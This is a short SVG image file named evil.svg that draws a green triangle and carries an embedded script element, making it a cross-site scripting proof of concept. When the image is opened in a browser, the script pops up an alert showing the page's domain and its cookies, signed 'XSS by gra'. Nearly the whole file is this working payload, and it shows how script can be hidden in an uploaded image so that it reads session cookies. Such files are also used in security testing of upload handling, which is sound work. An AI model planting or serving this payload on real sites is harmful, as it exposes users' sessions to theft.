evil.svg 408 B

123456789
  1. <?xml version="1.0" standalone="no"?>
  2. <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
  3. <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  4. <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  5. <script type="text/javascript">
  6. alert("XSS by gra"+document.domain+document.cookie);
  7. </script>
  8. </svg>